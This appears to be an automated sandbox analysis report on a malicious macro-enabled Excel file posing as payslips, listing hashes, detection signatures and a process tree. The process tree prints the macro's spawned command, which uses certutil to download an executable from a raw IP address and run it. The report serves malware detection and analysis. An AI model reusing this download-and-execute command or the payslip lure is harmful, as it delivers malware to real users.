Resubmissions

22-01-2025 13:59

250122-ravdwszjf1 10

19-10-2022 13:16

221019-qhs1cshch4 10

Analysis

  • max time kernel
    99s
  • max time network
    101s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    22-01-2025 13:59

General

  • Target

    Payslips - Week Ending 19 October 2022.xlsm

  • Size

    42KB

  • MD5

    4cdbf369aea35107af766f0c4a928dc2

  • SHA1

    657b4e5c370ace1326b311d251d77bb3dec8a64b

  • SHA256

    ce4298647b014560cc454b87587301f11ffe7478170e7de2af59705ddf87ecc6

  • SHA512

    54407c6c226d4eba55a0afea35456224a1a9da8742c668810f0e29b112e4364ca7bff1df22257fcf21a9820a1e6e19104cf330c92e5fa5183c26340a8490c912

  • SSDEEP

    768:gvDsavqssnHOBIJYfTH+niSpyvDHrdv+nWxFFiKk/f+qtmUEURC+nQHwSrH:gvLvqTHOG1BaTrdv+KFFi3/Gq09UHQHH

Score
10/10

Malware Config

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious use of SetWindowsHookEx 12 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\Payslips - Week Ending 19 October 2022.xlsm"
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:4244
    • C:\Windows\SYSTEM32\cmd.exe
      cmd /c certutil.exe -urlcache -split -f "http://80.76.51.142/nod/Payslips%20-%20Week%20Ending%2019%20October%202022.exe" Zhnyoizqxyxvv.exe.exe && Zhnyoizqxyxvv.exe.exe
      2⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:1792
      • C:\Windows\system32\certutil.exe
        certutil.exe -urlcache -split -f "http://80.76.51.142/nod/Payslips%20-%20Week%20Ending%2019%20October%202022.exe" Zhnyoizqxyxvv.exe.exe
        3⤵
          PID:3732

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • memory/4244-0-0x00007FFB871D0000-0x00007FFB871E0000-memory.dmp

      Filesize

      64KB

    • memory/4244-4-0x00007FFB871D0000-0x00007FFB871E0000-memory.dmp

      Filesize

      64KB

    • memory/4244-3-0x00007FFB871D0000-0x00007FFB871E0000-memory.dmp

      Filesize

      64KB

    • memory/4244-2-0x00007FFB871D0000-0x00007FFB871E0000-memory.dmp

      Filesize

      64KB

    • memory/4244-1-0x00007FFBC71ED000-0x00007FFBC71EE000-memory.dmp

      Filesize

      4KB

    • memory/4244-7-0x00007FFBC7150000-0x00007FFBC7345000-memory.dmp

      Filesize

      2.0MB

    • memory/4244-6-0x00007FFBC7150000-0x00007FFBC7345000-memory.dmp

      Filesize

      2.0MB

    • memory/4244-5-0x00007FFB871D0000-0x00007FFB871E0000-memory.dmp

      Filesize

      64KB

    • memory/4244-10-0x00007FFBC7150000-0x00007FFBC7345000-memory.dmp

      Filesize

      2.0MB

    • memory/4244-12-0x00007FFBC7150000-0x00007FFBC7345000-memory.dmp

      Filesize

      2.0MB

    • memory/4244-11-0x00007FFBC7150000-0x00007FFBC7345000-memory.dmp

      Filesize

      2.0MB

    • memory/4244-9-0x00007FFBC7150000-0x00007FFBC7345000-memory.dmp

      Filesize

      2.0MB

    • memory/4244-8-0x00007FFBC7150000-0x00007FFBC7345000-memory.dmp

      Filesize

      2.0MB

    • memory/4244-13-0x00007FFBC7150000-0x00007FFBC7345000-memory.dmp

      Filesize

      2.0MB

    • memory/4244-16-0x00007FFBC7150000-0x00007FFBC7345000-memory.dmp

      Filesize

      2.0MB

    • memory/4244-17-0x00007FFBC7150000-0x00007FFBC7345000-memory.dmp

      Filesize

      2.0MB

    • memory/4244-18-0x00007FFBC7150000-0x00007FFBC7345000-memory.dmp

      Filesize

      2.0MB

    • memory/4244-15-0x00007FFBC7150000-0x00007FFBC7345000-memory.dmp

      Filesize

      2.0MB

    • memory/4244-14-0x00007FFB84E80000-0x00007FFB84E90000-memory.dmp

      Filesize

      64KB

    • memory/4244-19-0x00007FFB84E80000-0x00007FFB84E90000-memory.dmp

      Filesize

      64KB

    • memory/4244-26-0x00007FFBC7150000-0x00007FFBC7345000-memory.dmp

      Filesize

      2.0MB

    • memory/4244-27-0x00007FFBC7150000-0x00007FFBC7345000-memory.dmp

      Filesize

      2.0MB

    • memory/4244-37-0x00007FFBC7150000-0x00007FFBC7345000-memory.dmp

      Filesize

      2.0MB

    • memory/4244-38-0x00007FFBC71ED000-0x00007FFBC71EE000-memory.dmp

      Filesize

      4KB

    • memory/4244-39-0x00007FFBC7150000-0x00007FFBC7345000-memory.dmp

      Filesize

      2.0MB

    • memory/4244-40-0x00007FFBC7150000-0x00007FFBC7345000-memory.dmp

      Filesize

      2.0MB

    • memory/4244-41-0x00007FFBC7150000-0x00007FFBC7345000-memory.dmp

      Filesize

      2.0MB